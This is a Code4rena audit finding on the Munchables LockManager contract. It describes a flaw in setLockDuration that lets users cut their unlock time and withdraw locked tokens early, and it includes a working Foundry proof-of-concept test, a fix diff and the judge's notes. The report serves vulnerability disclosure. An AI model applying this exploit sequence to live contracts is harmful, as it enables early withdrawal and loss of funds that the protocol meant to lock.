Platform: Code4rena
Start Date: 22/05/2024
Pot Size: $20,000 USDC
Total HM: 6
Participants: 126
Period: 5 days
Judge: 0xsomeone
Total Solo HM: 1
Id: 379
League: ETH
Rank: 101/126
Findings: 1
Award: $0.01
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: SpicyMeatball
Also found by: 0rpse, 0xMosh, 0xblack_bird, 0xdice91, 0xhacksmithh, 0xleadwizard, 0xmystery, Audinarey, AvantGard, Bigsam, Dots, EPSec, Eeyore, Janio, Limbooo, LinKenji, Mahmud, MrPotatoMagic, Myd, Oxsadeeq, Sabit, SovaSlava, Stefanov, Tychai0s, Utsav, Varun_05, Walter, adam-idarrha, ahmedaghadi, araj, aslanbek, ayden, bigtone, c0pp3rscr3w3r, carrotsmuggler, crypticdefense, dhank, fyamf, gajiknownnothing, gavfu, itsabinashb, jasonxiale, joaovwfreire, ke1caM, leegh, merlinboii, mitko1111, n4nika, pfapostol, prapandey031, rouhsamad, sandy, snakeeaterr, stakog, steadyman, swizz, tedox, th3l1ghtd3m0n, trachev, turvy_fuzz, xyz, yashgoel72, zhaojohnson
0.0105 USDC - $0.01
https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L245
The LockManager::setLockDuration
function is as follows ( https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L245 ):
function setLockDuration(uint256 _duration) external notPaused { if (_duration > configStorage.getUint(StorageKey.MaxLockDuration)) revert MaximumLockDurationError(); playerSettings[msg.sender].lockDuration = uint32(_duration); // update any existing lock uint256 configuredTokensLength = configuredTokenContracts.length; for (uint256 i; i < configuredTokensLength; i++) { address tokenContract = configuredTokenContracts[i]; if (lockedTokens[msg.sender][tokenContract].quantity > 0) { // check they are not setting lock time before current unlocktime @--> if ( uint32(block.timestamp) + uint32(_duration) < lockedTokens[msg.sender][tokenContract].unlockTime ) { revert LockDurationReducedError(); } uint32 lastLockTime = lockedTokens[msg.sender][tokenContract] .lastLockTime; @--> lockedTokens[msg.sender][tokenContract].unlockTime = lastLockTime + uint32(_duration); } } emit LockDuration(msg.sender, _duration); }
Here, if user passes minimum value for _duration
to execute setLockDuration
function, then they can reduce the unlockTime
that is previously set. The minimum _duration
that can be passed in setLockDuration
function is lockedTokens[msg.sender][tokenContract].unlockTime - uint32(block.timestamp)
as the if condition uint32(block.timestamp) + uint32(_duration) < lockedTokens[msg.sender][tokenContract].unlockTime
will be true and thus unlockTime will be reduced due to how unlockTime
is updated i.e lockedTokens[msg.sender][tokenContract].unlockTime = lastLockTime + uint32(_duration)
( lastLockTime
will be less than block.timestamp
if user has called setLockDuration
function when some time has passed after locking tokens ).
For example, consider the following scenario:
block.timestamp
equals to 100
( lastLockTime
equals to 100
) and unlockTime
is set to 200
.block.timestamp
equals to 150
, user can call setLockDuration
function with _duration
equals to 50
( minimum allowed value ) and thus the unlockTime
will be reduced to 100 + 50 = 150
i.e lastLockTime + _duration
.block.timestamp
equals to 150
although the initial unlock time was set to 200
.block.timestamp
is equals to unlockTime
i.e 150
, user can now unlock the tokens at block.timestamp
equals to 150
even though unlockTime
was previously set to 200
.block.timestamp <= unlockTime
, user can now call setLockDuration
function with _duration
equals to 0
and further reduce the unlockTime
to 0
.In short, if current block.timestamp
is greater than lastLockTime
( i.e. some time has passed after locking tokens ), then user can repeatedly call setLockDuration
function with _duration
equals to unlockTime - block.timestamp
( minimum possible value which setLockDuration
function accepts ) until the unlockTime
is reduced to 0
or is less than current block.timestamp
which will let user unlock the tokens before the actual unlock time.
Thus, any user can reduce the unlockTime
to 0
and unlock the tokens before the actual unlock time.
Add the following test file in src/test
directory:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.25; import {Test} from "forge-std/Test.sol"; import {console} from "forge-std/console.sol"; import "./MunchablesTest.sol"; import "../interfaces/ILockManager.sol"; interface ILM is ILockManager { function lockdrop() external view returns (Lockdrop memory); } contract AuditTest is MunchablesTest { function test_BugUnlockDuration() public { uint256 lockAmount = 100e18; deployContracts(); address user = address(0xaabbcc); vm.deal(user, lockAmount); assertEq(user.balance, lockAmount); vm.startPrank(user); // registering user amp.register(MunchablesCommonLib.Realm(3), address(0)); // lock tokens lm.lock{value: lockAmount}(address(0), lockAmount); assertEq(user.balance, 0); // Time at which tokens were locked uint256 timeAtLock = block.timestamp; // Current block.timestamp is 1 assertEq(timeAtLock, 1); ILockManager.Lockdrop memory ld = ILM(address(lm)).lockdrop(); // Minimum Lock Duration is 86400 i.e. 1 day assertEq(ld.minLockDuration, 86400); ILockManager.LockedTokenWithMetadata[] memory lt = lm.getLocked(user); uint256 originalUnlockTime = lt[0].lockedToken.unlockTime; // Unlock time should be 1 day from now as minimum lock duration is 1 day assertEq(originalUnlockTime, block.timestamp + 86400); // Let's say sometime has passed and now block.timestamp is 40000 ( less than 1 day i.e 86400 seconds ) vm.warp(40000); // Minimum `_duration` that can be set through `setLockDuration` is originalUnlockTime - block.timestamp i.e. 86401 - 40000 = 46401 // Thus, we can reduce the unlock time to 46401 + timeAtLock = 46402 lm.setLockDuration(46401); lt = lm.getLocked(user); // Unlock time should be reduced to 46402 assertEq(lt[0].lockedToken.unlockTime, 46401 + timeAtLock); // As current block.timestamp is 40000 and unlock time is 46402, we can't unlock the tokens yet // Minimum `_duration` that can be set through `setLockDuration` is UnlockTime - block.timestamp i.e. 46402 - 40000 = 6402 // Thus, We can reduce the unlock time further to 6402 + timeAtLock = 6403 lm.setLockDuration(6402); lt = lm.getLocked(user); // Unlock time should be reduced to 6403 assertEq(lt[0].lockedToken.unlockTime, 6402 + timeAtLock); // Now we can unlock the tokens as block.timestamp > unlockTime i.e 40000 > 6403 // Plus, now as block.timestamp > unlockTime, we can even reduce the unlock time to 0 lm.setLockDuration(0); lm.unlock(address(0), lockAmount); vm.stopPrank(); assertEq(user.balance, lockAmount); } }
We can run the test by:
forge test --mt test_BugUnlockDuration
Manual Review, Foundry
Following changes in LockManager::setLockDuration
function would fix the issue:
function setLockDuration(uint256 _duration) external notPaused { if (_duration > configStorage.getUint(StorageKey.MaxLockDuration)) revert MaximumLockDurationError(); playerSettings[msg.sender].lockDuration = uint32(_duration); // update any existing lock uint256 configuredTokensLength = configuredTokenContracts.length; for (uint256 i; i < configuredTokensLength; i++) { address tokenContract = configuredTokenContracts[i]; if (lockedTokens[msg.sender][tokenContract].quantity > 0) { // check they are not setting lock time before current unlocktime if ( uint32(block.timestamp) + uint32(_duration) < lockedTokens[msg.sender][tokenContract].unlockTime ) { revert LockDurationReducedError(); } uint32 lastLockTime = lockedTokens[msg.sender][tokenContract] .lastLockTime; - lockedTokens[msg.sender][tokenContract].unlockTime = - lastLockTime + - uint32(_duration); + lockedTokens[msg.sender][tokenContract].unlockTime = + uint32(block.timestamp) + + uint32(_duration); } } emit LockDuration(msg.sender, _duration); }
Other
#0 - c4-judge
2024-06-04T12:41:39Z
alex-ppg marked the issue as duplicate of #89
#1 - c4-judge
2024-06-05T12:52:49Z
alex-ppg marked the issue as partial-75
#2 - c4-judge
2024-06-05T12:54:34Z
alex-ppg changed the severity to 3 (High Risk)